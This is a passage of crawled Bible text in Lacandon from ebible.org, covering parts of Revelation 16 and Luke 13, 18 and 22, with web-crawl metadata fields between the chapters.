ts'ic ti C'uj ich ca'anan:\n―Raji' taj a ba' cu yac yʌjmasir u t'ʌn C'uj. Taj ta toc araj ti' a winiquirob C'uj, rajen taj tan a taquic u jo'r a mac a tu chucob u pach a winiquirob C'uj, quire' ra' u bo'orir u c'ʌb, quire' a techo' in Jaj Ts'urirechob C'uj, a techo' jach manan a muc' ―baxuc caj ara'b ten a cu t'ʌn tu cuchir tu cu naj to'quic ba' ti' C'uj.\n8 A cuatro yʌjmasir u t'ʌn C'uj, caj joc' quir u bin u jochquint u chan ruchir. Raji' caj u jochquintaj ich ic yum quir u ts'ic u muc' soc jach manan u chujur a mac a ti' yʌnob ich yoc'ocab, a jic yumo'.\n9 A mac a jach manan chujij ten ic yum, mʌ' ju c'ax u yorob quir u p'ʌticob u c'asir, cax ra' u bo'orir u si'pir. Robob mʌ' ju sʌjtob C'uj quir u quibicob u t'ʌn. Chen robob caj u pach'ob C'uj, quire' raji' caj u tuchi'taj u muc'yajob, quire' mʌ' ruc'sa'b u muc'yaj ten C'uj. Mʌ' ja wirej, a C'ujo' yʌn u muc' quir u tuchi'tic u muc'yaj an ten bic aro'.\n10 A cincojo' yʌjmasir u t'ʌn C'ujo', caj joc' quir u jochquintic u chan ruchir xan. Raji' caj u jochquintaj tu cu jach ts'urinticob mac, a bʌc'o', a jach manan caremo'. A mac a ti' yʌno', tu cu ts'urinticob mac a bʌc'o', a jach manan caremo' caj ac'birchʌjij. Robob jach manan muc'yajnʌjob, rajen caj u chi'ob u yac' quire' yʌn u yajirir.\n11 Quire' yʌn u yajirir, bayiri' xan, quire' u cʌnmʌnob iq'uer u ca'ob uch, a caj tar ti'ob, mʌ' ju c'ax u yorob ca' u p'ʌtob u c'asir, chen caj u pach'ob C'uj a ti' yʌn ich ca'anano'.\n12 A seiso' u yʌjmasir u t'ʌn C'uj, caj joc' quir u jochquintic u chan ruchir. Raji' caj u jochquintaj ich u yoc ya'arir u c'aba' Eufrates, a ray ya'ariro' jach coch. Caj ts'oc u jochquintic u chan ruchir caj sa'b ya'arir soc u man a reyob a cu reyinticob mac a tu cu tarob ic yumo'. Mʌ' ja wirej, ra' u berir quir u binob ich u cajar Jerusalén.\n13 Tu tin wʌyʌc'taj ich ca'anan, caj in pʌctaj caj in wir a ayimo', a jach manan caremo', yejer u nup, raji' a bʌc'o', a jach caremo', yejer u jer mac a ts'a'b u tucur ten quisin quir u tsicbar a ba' u c'at a quisinob. Caj in wiraj caj joc'ob tu chi'ob a ray mʌna' u nup u quisinob. Caj joc'ob mʌna' u nup u quisinob tu chi'ob a yʌn u winquirob irob rerec.\n14 Quire' a quisino', raji' yʌninob, rajen a rereco' raji' bin u ca' u tus esob carem beyajob soc u tus aric a reyob, a cu reyinticob mac ich yoc'ocab, bayiri' xan, bin u ca' u tus arob a mac a ti' yʌnob ich yoc'ocab soc robob cu bin u much'quinticob u bʌj quir u ric'sicob u ba'te'ticob, quire' ra' u q'uinin a jach manan no'j ti' a C'ujo', a mac a jach manan chichir u muc'.\n15 \"Rajen a ray u q'uinino', a mac a mʌ' tan u pajicob in tar, seb quin bin tar, an ten bic a mac a cu tar u ta'quic ba', a mʌ' u pajmʌn u tar. A baxuco', seb quin bin tar, a teno'. Rajen qui' irechex soc qui' a worex ca' bin uruqueno', a techexo' a mac a yacsmʌnob tu yorob ten, soc ʌcʌtan u yʌjmasirob u t'ʌn C'uj yejer a mac a yerob C'uj, mʌ' ja bin a ch'iquex suraquir.\" Baxuc tu ya'araj C'uj.\n16 A reyobo', yejer a mac a ti' yʌnob ich yoc'ocab, a tus ara'bob quir u much'quinticob u bʌj quir u ric'sicob u ba'te'ticob. Robob cu bin u ba'te'ticob mac ich u ru'umin Armagedón, ra' u c'aba' ich u t'ʌn a mac a cu tsicbar hebreo.\n17 Caj in wʌyʌc'taj ich ca'anan, caj in pʌctaj, caj in wiraj a siete yʌjmasir u t'ʌn C'uj caj joq'uij. Raji' caj joq'uij caj u jochquint u chan ruchir ich yoc'or ic'. A ray u q'uinino', joc' u t'ʌn mac tu cu naj c'ujinticob C'uj tu yʌn u cutan a jach caremo'. C'am caj u ya'araj:\n―Jeroj tabar u ts'ocar u ts'iquir C'uj yejer a mac a ti' yʌn ich yoc'ocab ―baxuc tu ya'araj a mac a cu t'ʌno'.\n18 Wa ber caj joc' u t'ʌn quet caj joc' u raram yejer u jum a cu pec, caj qui' pecnʌj a ru'umo' soc jach yaj u pec. Mʌna' mac yirmʌn u pec ru'um an ten bic baxuc a rayo'.\n19 Rajen tu cotor a cajaro' a caremo' caj u rʌc jʌsob u bʌj, tu pecnʌj a ru'umo', rajen junxot tu jʌsob u bʌj u jer junxot caj u jʌsob u bʌj, baxuc, xan, u jer junxot caj u jʌsob u bʌj. Caj rʌc ch'ej a raj cajaro', bayiri' xan caj rʌc ch'ej tu cotor u cajarob ich yoc'ocab a tuj ts'urinta'b u ts'urir a ray carem cajaro' quire' ra' u cajar Babilonia, a no'jo', quire' c'uchij tu q'uinin u ts'ictar C'uj. Rajen bin u ca' ch'esa'bir ten C'uj.\n20 Rajen tu cotor u pe'tenin, cax tu yʌnob, caj ch'esa'b soc mʌna', bayiri' xan, a witso', bin u ca' ch'esa'bir. Mʌ' ja wirej, bin u caj tar C'uj, a mac cu bin u reyinticob ich yoc'ocab.\n21 Rajen caj rub ich ca'anan bar ja', a jach caremo'. Ra' caj purij ten C'uj. Turiri' a bar a ja'o', yʌn ca'tur' arrobas. Rajen a mac a ti' yʌn ich yoc'ocab caj u pach'ob C'uj quire' yʌn u yajirir a cu rubur ich yoc'or a ti'obo'. Quire' jach manan u yajirir a cu muc'yajobo'.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV16.html","date":"2022-08-10T05:46:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571147.84\/warc\/CC-MAIN-20220810040253-20220810070253-00278.warc.gz","language":"lac","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000075101852417}","num_words":1370,"character_repetition_ratio":0.087,"word_repetition_ratio":0.007,"special_characters_ratio":0.301,"stopwords_ratio":0.528,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nJesús caj u t'ʌnaj ca' u c'axej yor a pimo'\n1 Ra'iri' u q'uinin ti' yʌn mac ich Jesús. Mʌ' ja wirej, tarob u toc arob ti' Jesús a ba' u ber ti' u winiquirob judío a cu tarob ich u ru'umin Galilea. Quire' quinsa'b ten u soldado, Pilato, tu cu quinsicob wacʌx quir u ts'ic ti' C'uj. Quire' ara'b ten Pilato. 2 Jesús caj u nuncaj ti'ob, caj ya'araj:\n―Ca tucriquex wa jach c'asob a cu tarob ich u ru'umin Galilea? Rajen quinsa'b tu cu naj c'ujinticob C'uj. Barej u rac'ob a cu tarob ich u ru'umin Galilea mʌ' nec'asi'. 3 Rajen quin wac techex ―quij Jesús―, mʌ' taj a ba' ca waquex. Baxuc techex wa mʌ' tan a c'axiquex a worex caj a p'ʌtex a c'aso' je' a rʌc quiminex xan, irej ti'ob ca' quinsa'b. 4 C'aj wa techex a mac pets'ta'b ten u tunichir tu ts'ʌpa'an? Bʌytʌc tu yʌn u ts'ʌpa'an tunich ca'anan u c'aba' Siloé soc nach cu yiric. Caj pets'ta'bob dieciocho. Arex ten wa jach c'asob rajen pets'ta'b chen a mac ich u cajar Jerusalén mʌ' nec'asobi'? 5 Rajen quin wac techex ―quij Jesús―, mʌ' taj a ba' ca waquex. Baxuc techex wa mʌ' tan a c'axiquex a worex ca' a p'ʌtex a c'aso'. Je' a rʌc quiminex xan, irej caj pets'abob.\nQuir u camsic ti' u pʌc'ar higuera a mʌ' ju wichʌncʌr\n6 Jesús caj u camsaj baxuc a je' t'ʌna' soc tabar u c'axicob u yorob. Rajen caj ya'araj:\n―Ti' yʌn u pʌc'ar higuera ich corir u yaq'uir uva mac. Caj bin yiric wa yʌn u wich. Mʌ' tu yira u wich. 7 Rajen ―quij Jesús―, caj ara'b ten a mac yʌnin u cor ti' a mac a cu cʌnantic u cor: \"Yʌn tres yaxq'uin, rajra' quin tar in wiric wa yʌn u wich higuera. Chen mʌ' in wiric u wich. Toc ch'ʌquej u che'er, ba'wir cu c'ʌnic u ru'umin?\" 8 Caj ara'b ten a mac a cu cʌnantic u cor: \"Tsire'ej, Jach Ts'urir ―quij―, soc in juptic u ru'umin chen a je' yaxq'uina' quin bin in purej u ta' tsimin soc u ne'ichancʌr. 9 Jaj ixtʌcoj, je' u wichancʌr ca' bin tac tu q'uinin u wichʌncʌr. Jach Ts'urir, wa mʌ' u wichancʌr, arej in ch'ʌquej.\"\nJesús cu jawsic a p'ux u bin xquic u q'uinin u jesicob u bʌj u winiquirob judío\n10 U q'uinin u jesicob u bʌj u winiquirob judío, Jesús caj u camsaj u winiquirob judío tu cu naj c'ujinticob C'uj. 11 Ti' yʌn tu cu naj c'ujinticob C'uj uch xquic, a p'ux u bin, yʌn dieciocho yaxq'uin caj u cʌnaj u yajir. Quire' aca'an c'ac'as quisin ti', rajen mʌ' u tajtar u pach. 12 Rajen Jesús caj yiraj caj u t'ʌna caj ya'araj ti':\n―Xquic ―quen―, toc jaw a yajir.\n13 Caj u ts'anc'ʌbtaj seb caj tajij xquic a p'ux u bin cuch. Caj u yʌnxchun ya'aric ti' C'uj:\n―Bayo' C'uj ―quij―, caj a jawsajen.\n14 Chen u jach ts'urir tu cu naj c'ujinticob C'uj u winiquirob judío caj ts'iquij quire' yiraj u jawsic Jesús xquic u q'uinin cu jesicob u bʌj u winiquirob judío. Rajen caj ya'araj ti' a mac ti' yʌnob. Yʌn seis u q'uinin quir a beyajex techex. A seis u q'uinino' tsoy a tarex quir a jawsic a yajirex, chen mʌ' ra' u q'uinin baje'ra'.\n15 Caj u nuncaj Jesús caj ya'araj ti':\n―Ca' yarir a wac' a techexo' ca tus ets'iquex a c'ujintiquex C'uj. Mʌ' wa ti' yʌn mac a tera' a mʌ' ju siptic yʌrʌc' wacʌx yejer yʌrʌc' tsimin tu cu jansic quir u ts'ic u yuc'ur cax ra' u q'uinin caj u jesob u bʌj u winiquirob judío? Jach taj ca siptiquex ti' quir a ts'ic yo'och ja'. 16 Irex a je' xquica', u parar u ca' parar Abraham uch. Yʌn dieciocho yaxq'uin caj yajij quire' quisin. Jach jaj yʌn u bin sipta'bir u yajirir cax tu q'uinin caj u jesob u bʌj u winiquirob judío.\n17 Mʌ' toy ts'ocac Jesús u tsicbar ti'ob tu cu naj c'ujinticob C'uj a mac tu pʌc'ob u pach Jesús caj u ch'ajob suraquir. Chen u jerob u rac'ob caj qui'jij yorob quire' yirob carem u beyajob Jesús a caj u betaj ti' a xquico'.\nQuir u camsic ti' u yijir mostaza\n(Mt. 13.31‑32; Mr. 4.30‑32)\n18 Jesús caj ya'araj:\n―Bin in ca' in camsic techex soc a werex cu bin u reyintic C'uj soc a p'erquintiquex. 19 Aro' irej u yijir mostaza jach mijin. Barej cu ch'ic u pʌq'uic ich u chan cor. Cu ch'ijire' cu majan xit'ir u c'ʌbir. A ch'ich'o' cu tar u c'ʌxic u c'u' ich u c'ʌbir.\nQuir u camsic ts'ac a cu sip'o'\n(Mt. 13.33)\n20 Ti' toy cu tsicbar Jesús caj u ca' a'araj:\n―Bin in ca' in p'eri'quintic u ru'umin tu cu bin u reyintej C'uj. 21 An bic ten cu sip' yoch pan wa cu puric ts'ac. Mʌna' u nup u puric u tenin u ts'ac ich harina cu ts'ocar u puric u ts'ac cu rʌc sip' tu cotor.\nJesús cu camsic a pimo': P'is a bʌj soc a wocarex tu cu bin u reyinticob C'uj cax c'ax u jor tu cu yocar\n(Mt. 7.13‑14, 21‑23)\n22 Ti' toy cu bin Jesús ich u berir Jerusalén. Ti' cu man ich u chan cajar baxuc ich u yajaw cajar a ti' yʌn ich bej. Ti' cu camsic mac ti taro'. 23 Yʌn mac tu c'ataj ti':\n―Jaj Ts'urir ―quij―, arej ten wa ya'ab cu bin tacbir ten C'uj wa mʌ' ya'ab cu bin tacbir?\nJesús caj ya'araj ti' a pimo':\n―Mun cu bin tacbir? 24 Jach p'isex a bʌjex quir a wocarex tu cu bin u reyinticob C'uj cax yaj tu ca wocarex. Qui' tucriquex quire' mʌ' ya'ab cu bin yocar ti'. 25 Mʌ' ja wirej ―quij Jesús―, je' u c'uchur tu q'uinin a mac yʌnin yatoch cu bin u c'ʌric u jor. Ca' bin taquechex ich tancab ca' bin a yʌn t'ʌniquex: \"Q'ueyej in jo'rob, Jaj Ts'urir, quir in wocarob.\" Chen a ti'o' cu bin u nunquic: \"Mʌ' in wer maquechex, mʌ' in wer tub a tarex.\" 26 Ra'iri' u q'uinin ca bin a yʌnxchun a wa'ariquex: \"P'eri' ic janʌn uch, p'eri' ij cuc'ur xan uch. Baxuc caj a camsajenob tu berir uch tu cʌja'anenob.\" 27 A Jaj Ts'uro' ca' bin u nunquej: \"Caj in wa'araj ca'ch mʌ' in wer tub a tarex. Ca' xiquechex tu cotorex quire' nanex a manex ta c'asirex.\" 28 Ca' bin a wac'tiquex a bʌj ca' bin a jʌch'iquex a coj quire' ts'iquechex quire' caj a wiraj mʌ' u yacsiquechex. Quire' caj a wiraj u yacsa'rob Abraham yejer Isaac yejer Jacob yejer tu cotor yʌjtseq'uirob u t'ʌn C'uj. Chen tancab p'atechex tu cu yocarob u reyinticob C'uj. 29 A winico' tar cu bin tarob tu cu tar q'uin. Baxuc cu bin tarob tu cu bin ic yum. Baxuc cu bin tarob xʌman ca'anan. Baxuc cu bin tarob ich nojar. Ti' cu rʌc binob ich ca'anan tu cu bin u reyinticob C'uj. Ti' cu bin cutarob u janʌnob. 30 U'yex ba' quin wac, yʌn mac a tera' mʌ' no'ji' chen ca' bin c'uchuc tu q'uinin tu cu bin u reyinticob C'uj jach no'j. Yʌn mac a tera' jach no'j baje'ra' ca' bin c'uchuc tu q'uinin tu cu reyintic C'uj. Mʌ' no'ji'.\nJesús cu toc aric: Tabar in quinsa' ich u cajar Jerusalén\n(Mt. 23.37‑39)\n31 Jesús caj ts'oc u camsicob a ba' caj u ya'araj sam. Caj c'uchij mʌ' ya'ab u winiquirob judío a fariseojo'. Caj ya'arob ti':\n―Ca' xiquech quire' Herodes u c'at u quinsiquech.\n32 Jesús caj ya'araj ti'ob:\n―A Herodeso', raji' cu tusaric mac. Joq'uenex a wa'ariquex ti': \"Chen te' yʌnena', mʌ' ya'ab u q'uinin soc in yʌn joc'sic a mac aca'an c'ac'as quisin ti'. Soc in yʌn jawsic u yajir mac xan. Tabar in ts'ocsic in beyaj a tera'.\" 33 Arex ―quij Jesús―, ti' Herodes a ba' quin betic baje'ra'. Baxuc xan in betic saman. Baxuc yʌn in betic ca'bej xan hasta quin c'uchur ich u cajar Jerusalén. Quire' ich u cajar Jerusalén tiri' cu quinsicob yʌjtseq'uirob u t'ʌn C'uj, mʌ' a tera' ―quij Jesús.\n34 Caj ya'araj Jesús:\n―A techexo' ti' cʌja'anechex ich u cajar Jerusalén. Ca quinsiquex yʌjtseq'uirob u t'ʌn C'uj uch. Ca rʌc ch'iniquex u jo'rob a mac tuchi'ta'b ten C'uj ti' techex. Ya'ab u tenin in c'at in much'quintic techex an ten bic cax cu juquintic yar soc u cʌnantic. Chen techex mʌ' ja c'atex in much'quintiquechex baxuc aro'. 35 U'yex ba' quin wac techex. Caj in toc p'ʌtechex ta junanex. Quin wac techex mʌ' a bin a wiriquenex hasta cu c'uchur tu q'uinin a ray u q'uinino' ca waquex: \"Ca' ij c'ujintej a je' xiba' a cu tar quire' tuchi'ta'b ten C'uj.\"","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK13.htm","date":"2022-08-17T20:36:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00290.warc.gz","language":"lac","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000028610229492}","num_words":1408,"character_repetition_ratio":0.068,"word_repetition_ratio":0.019,"special_characters_ratio":0.295,"stopwords_ratio":0.498,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"18\nJesús cu ya'aric ti'ob tu cu camsic ti' xquic a quimen u mam yejer juez\n1 Jesús caj u ya'araj ti'ob tu cu p'eriquintic u t'ʌn soc u cʌnicob:\n―Ca' a t'ʌnex C'uj soc mʌ' u nacar a worex, tu ca t'ʌniquex C'uj. 2 Ti' yʌn u cajar ―quij Jesús―, tu cʌja'an juez. A juezo', mʌ' u sʌjtic C'uj, mʌ' ju tucric mac xan. 3 Tiri' ich u cajar xan, ti' yʌn xquic, quimen u mam raji' caj bin ʌcʌtan juez. Su' su' cu bin ya'aric ti': \"Yʌmtejen ti' a mac a cu p'actiquen.\" 4 Caj u yʌnxchun u tar xquic a juezo', mʌ' ju quibaj u t'ʌn. Chen pachir caj u ya'araj tu yor: \"Cax mʌ' in sʌjtic C'uj ―quij―, cax mʌ' in tucric ti' mac.\" 5 Caj ya'araj a juezo': \"Bin in ca' in yamtej a je' xquica', a quimen u mam ra' cu p'acta' xquique' soc mʌ' u choquintic in wor quire' rajra' cu tar. Quire' ca'an in wor in wu'yic ya'aric.\"\n6 Caj ya'araj Jaj Ts'ur:\n―Cʌnex ti' a ba' cu ya'aric juez cax mʌ' taj yor. 7 Chen mʌ' baxuc C'uj quire' taj yor. Wa rajra' ca c'atiquex tu ca t'ʌniquex C'uj u bur u q'uinin u bur u ac'bir soc u cʌnantic a ba' a c'at. A techexo' a teta'b ten C'uj, je' u tar u tajir techex. A C'ujo' mʌ' u ts'ocar u yubic a t'ʌnex. 8 A teno' ―quij Jesús―, quin wac techex. A C'ujo' seb cu ta'quic techex mac ti' a cu p'acti'echobo'. Chen ca' bin uruquen ich yoc'ocab a teno' caj u tuchi'ten C'uj, baxuquenechexo'. Je' wa jin wiric mac tan u yacsic tu yor ten. Tan u pajicob ten ca' in ta'quej ti' a mac a cu p'actic ti'e'.\nJesús cu camsic ti' a fariseojo' yejer yʌjc'ʌmin u taq'uin gobierno\n9 Jesús caj u ca' camsaj tu cu p'eri'quintic u t'ʌn. Yʌn mac cu tucric chen jach tsoy a ti'ob ʌcʌtan tu wich C'uj quire' a ba' cu beticob. Chen cu tucric tu yor: \"Jot u rac'ob.\" Rajen Jesús caj u ya'araj baxuc aro', caj ya'araj Jesús:\n10 ―Ca'tur xib binob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío quir u t'ʌnicob C'uj. Turiri' u winiquir judío a fariseojo', u jer yʌjc'ʌmin u taq'uin gobierno. 11 Caj ch'iraj u winiquir judío a fariseojo' soc yirir ten tu cotor mac caj u tus t'ʌnaj C'uj. Tu yor, caj u t'ʌnaj C'uj, caj ya'araj: \"Bayo' C'uj ―quij―, mʌ' in betic an ten bic u jer winiquir judío cu betic. A teno', mʌ' in tus ch'ic a ba' yʌn ti' winic. Baxuc mʌ' jin man tu c'asir, mʌ' jin man in wiric xquic, mʌ' c'as a teno'. Mʌ' baxuquen a cu c'ʌmic u taq'uin gobierno a ti' yʌno'. 12 A teno', quin qui' c'ujintiquech, quin jamach p'ʌtic in janʌn ca'tur u q'uinin ich a turi' semana. Tu cotor in taq'uin tu quin jaric quin chuquic turiri' ich a diezo' soc in ts'ic ti' a mac a cu jach beyaj tu cu naj c'ujinticob C'uj.\" 13 Chen yʌjc'ʌmin u taq'uin gobierno, nach yʌn. Ti' yʌn tu pach u rac'ob tu cu t'ʌnicob C'uj. Mʌ' ju c'at u nacsic u wich quir u t'ʌnic C'uj. Cu chen pʌxic u tsem quire' yer yʌn u si'pir. Quire' baxuc nanij cu betic u winiquirob judío. Caj ya'araj ti' C'uj ―quij―: \"Chan yajquin ten quire' yʌn in si'pir a teno'.\" 14 Quin wa'aric techex ―quij Jesús―, C'uj caj u jawsaj u si'pir a cu c'ʌmic u taq'uin gobierno. Caj bin tu yatoch toc tsoyquinta'b yor ten C'uj. Chen a fariseojo', mʌ' tsoyquinta'b yor ten C'uj. A mac a cu yac jach no'jen ―quij―, chen a C'ujo' cu bin ya'aric: \"Jo'tech a techo'\", cu yiric mʌ' no'ji'. Chen a mac cu yac: \"Jo'ten a teno'.\" Chen a C'ujo' cu yiric jach no'j.\nJesús yejer a chichano'\n(Mt. 19.13‑15; Mr. 10.13‑16)\n15 Caj tarob u purej ti' Jesús a mac yaje', baxuc yejer a chichano'. Caj tar purbir a chichano' soc u pʌtʌxmec'tic. Caj irir ten u camsʌwinicob ba' u ber. Caj u q'uejajob:\n―Joq'uen, xen ―quij.\nQuire' mʌ' u c'at yiric u tarob ich Jesús a chichano'. 16 Jesús caj u pʌyaj ca' tacob. Caj ya'araj ti' u camsʌwinicob:\n―Ts'ire'ej u tarob a chichano' tin wicnʌn. Mʌ' ja q'ueyic an ten bic a je' chichana'. Baxuco' a mac c'ucha'an yor yocor tu cu reyinticob C'uj. Yʌn u cʌnic irej wa ja chichano'. 17 Jach taj quin wac techex ―quij Jesús―. A mac a mʌ' ju cʌnic a chichano' soc u chabar ten C'uj u reyinticob mʌ' u c'uchur yor, u c'uchur ich ca'anan tu cu bin u reyinticob C'uj.\nU ts'urir u winiquirob judío jach neyʌn u taq'uin, tan u tsicbar yejer Jesús\n(Mt. 19.16‑30; Mr. 10.17‑31)\n18 Caj tarij turi' u jach ts'urir u winiquirob judío ich Jesús. Caj u c'ataj ti' Jesús:\n―Jach tsoyech in wʌjcamsʌyʌjirech. Arej ten ba' yʌn in betic soc in cuxtar munt q'uin?\n19 Jesús caj ya'araj ti':\n―Biquinin ca wac tsoyen? Mʌna' mac jach tsoy chen jari' C'uj. 20 Tech a wer ba' caj u ts'ibtaj Moisés uch. Cu ya'aric: \"Mʌ' a yʌn man yejer xquic baxuc xquic, mʌ' u yʌn man yejer xib. Mʌ' ja quinsic mac. Mʌ' ja wac'ric ba'. Mʌ' a yʌn man tus, a caj a wiraj ba'. Yʌn a sʌjtic a tet, yʌn a sʌjtic a nʌ' xan.\"\n21 U jach ts'urir u winiquirob judío caj ya'araj:\n―Tu cotor aro' ten caj in toc quibaj tin chichanin uch.\n22 Rajen caj ts'oc yubic Jesús a ba' caj u ya'araj. Caj ara'b ti':\n―Yʌn turi' ba' mʌ' ta quibaj ca' a betej aro'. Canej tu cotor a ba' yʌn tech. Cu ts'ocar a rʌc canic, ca' a jʌsej a taq'uin ti' a mac otsir. Cu ts'ocar aro', ca' taquech tin pach quir a cʌnic in t'ʌn. Ca' bin c'uchuquech ich ca'anan tu cu bin u reyinticob C'uj. Cu bin u ts'abʌr tech a ba' jach co'oj.\n23 Caj ts'oc yubic a ba' caj u ya'araj Jesús ti' caj tucurnʌjij quire' jach yʌn u taq'uin. 24 Jesús caj yiraj tucur u ca' a xibo' caj u ya'araj ti':\n―Jach yaj yocar mac a neyʌn u taq'uin tu cu reyinticob C'uj quire' u yaj u taq'uin. 25 Je' wa ju c'uchur yor yocar yʌrʌc' tsimin ich u jor yit' puts'? Mʌ' ju c'uchur u yor quire' chichin u jor yit' puts'. Je' wa ju c'uchur u yor yocar ich ca'anan a mac neyʌn u taq'uin? Mʌ' ju yocar quire' u yaj u taq'uin. Jaj ixtʌcoj, je' u yocar yʌrʌc' tsimin ich u jor yit' puts'. Chen a mac neyʌn u taq'uin mʌ' yocar, tu cu bin u reyintejob C'uj, quire' u yaj u taq'uin.\n26 A mac a caj u yubaj u t'ʌn caj ya'arajob:\n―A mac cu bin ta'cbir ten C'uj tun?\n27 Rajen Jesús caj ya'araj:\n―A C'ujo' c'ucha'an yor ti' a ba' mʌ' c'ucha'an yor ti' mac.\n28 Pedro caj ya'araj:\n―Jaj Ts'urir ―quij―, caj in toc rʌc p'ʌtajob a ba' yʌn tenob quir in tarob ta pach soc in cʌnicob a t'ʌn.\n29 Jesús caj ya'araj ti'ob:\n―Jach taj quin wac techex. Wa mac cu p'ʌtic yatoch wa ju rac' wa ju tet. Wa ju bʌjob wa ju pararob soc raji' cu reyinticob C'uj wa cu cha'icob. 30 Cu bin u c'ʌmej ti' C'uj a ba' jach tsoy baje'rer. Jach manan cu bin ts'abʌr ti'. Baxuc xan, ca' bin xuruc t'ʌn je' u ts'abʌr ti' u cuxtar munt q'uin.\nJesús cu ca' a'aric: Bin in ca' quinsbir\n(Mt. 20.17‑19; Mr. 10.32‑34)\n31 Jesús caj u pʌyaj u doce u camsʌwinicob soc u tsicbar ti'ob tu junanob:\n―Baje'rer ―quij―, quic wʌc'ʌs bin ich u cajar Jerusalén. Tu cotor a ba' caj u ts'ibtajob yʌjtseq'uirob u t'ʌn C'uj ti' ten uch. Je' u tar ten quire' caj u tuchi'tajen C'uj baxuquenechexo'. 32 Ti' cu bin u c'ubiquenob ti' a mac a mʌ' u winiquirob judío. Ti' cu bin u p'astiquenob. Ti' cu bin u cʌrʌxbetiquenob. Ti' cu bin u tubiquenob xan. 33 Ti' cu bin u chich jʌts'icob in pach. Cu ts'ocar aro' cu bin u quinsiquenob. Chen ca' bin manʌc mʌna' u nup u q'uinin, je' in riq'uir tin quimirir.\n34 U camsʌwinicob, mʌ' tu najtajob a ba' caj u yubajob ya'aric Jesús quire' mʌ' yerob ba' u c'at ya'aric u t'ʌn.\nJesús cu jawsic a ch'op u wicho' ich u cajar Jericó\n(Mt. 20.29‑34; Mr. 10.46‑52)\n35 Tabar u c'uchur Jesús ich u cajar Jericó. Ti' cura'an a ch'op u wicho' ich nʌc' bej. Tan u c'atic u taq'uin quir u janʌn. 36 Caj u rʌc u'yaj u manob a pimo' a ch'op u wicho' caj u c'ata ti' mac bʌytʌc ba' u ber. 37 Caj ara'b ti':\n―Jesús a cu tar ich u cajar Nazaret, raji' caj a wu'yaj u man ʌcʌtan tech.\n38 A ch'op u wicho' caj u puraj u t'ʌn ti':\n―Jesús ―quij―, u pararech a nunquir u rey David, chan yajquin ten.\n39 Chen a mac a cu binob pʌybej caj u ya'arajob ti':\n―Mʌc a chi' ―quij.\nChen caj u jach c'amquintaj yawʌt t'ʌn:\n―U pararech a nunquir u rey David, chan yajquint ten.\n40 Caj xurij Jesús ich bej caj ya'araj ca' tac purbir ti'. Caj u juts' u bʌj ich Jesús caj c'ata'b ti':\n41 ―Ba' a c'at in betej tech?\nA ch'op u wicho' caj u nuncaj:\n―Jaj Ts'urir ―quij―, in c'at u sasichʌjʌr in wich.\n42 Caj ara'b ti' ten Jesús:\n―Ca' tac u sasirir a wich quire' caj a wacsaj ta wor ten.\n43 Rajen sasichʌjij u wich. Rajen seb caj sasichʌjij u wich caj say tu pach Jesús caj ya'araj:\n―Jach caremech C'uj.\nBaxuc a mac a caj u yirob u jawʌr u wich caj ya'arajob xan:\n―Jach caremech C'uj.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK18.htm","date":"2022-08-17T20:38:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00295.warc.gz","language":"lac","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000038146972656}","num_words":1579,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.311,"stopwords_ratio":0.519,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"22\nJudas u c'at u c'ubic Jesús\n(Mt. 26.1‑5, 14‑16; Mr. 14.1‑2, 10‑11; Jn. 11.45‑53)\n1 Tabar u c'uchur tu q'uinin u qui'qui' janʌnob u winiquirob judío ra' u q'uinin cu janticob yoch pan a mʌ' u sipe'. Pʌcha'an u c'aba' pascua quire' ra' u q'uinin caj u potmastaj yʌjt'ʌnir C'uj uch soc mʌ' u quimin chan xib chichin. 2 U ts'urirob sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés, u c'at u muc u chuquicob Jesús. Baxuc u c'atob quire' cu sʌjticob a pimob. Caj u cʌxtajob mac quir u c'ubic quinsbir Jesús.\n3 A Judaso' caj u ts'urintaj quisin raji' pʌcha'an u c'aba' Iscariote, raji' turi' ich u doce u camsʌwinicob Jesús. 4 Judas caj u p'ʌtaj Jesús yejer u yet camsʌwinicob caj bin ich u jach ts'urirob sacerdote yejer u capitán policía caj pacran tsicbanʌjij yejerob soc yerob bic tabar cu c'ubic Jesús ti'ob. 5 Caj qui'jij yorob u jach ts'urirob sacerdote rajen caj u toc arob je' u boticob tu c'ubij Jesús ten Judas. 6 Judas caj ya'araj:\n―Tsoy.\nCaj u yʌnxchun u chanber tucric u c'ubic Jesús ra' u q'uinin mʌ' ti' yʌn a pimo', soc mʌ' yerob wa bin u ca' chucbir Jesús.\nJesús caj u tuchi'taj u camsʌwinicob quir u chanber chʌquicob yoch quir u qui'qui' janʌnob u q'uinin pascua\n(Mt. 26.17‑29; Mr. 14.12‑25; Jn. 13.21‑30; 1 Co. 11.23‑26)\n7 Caj c'uchij tu q'uinin a cu janticob yoch pan a mʌ' u sipe'. Ra' u q'uinin xan cu quinsicob yʌrʌc' tʌmʌn yuc u chan ar soc u c'ʌ'otic bic C'uj caj u ta'caj u nunquir u winiquirob judío ich u ru'umin Egipto. 8 Rajen Jesús caj u tuchi'taj Pedro yejer Juan caj ya'araj ti'ob:\n―Joq'uenex ca' a toc chʌquex ij cochex quir ij qui' janʌnex quir ij c'ʌ'otic u q'uinin pascua.\n9 Robob caj 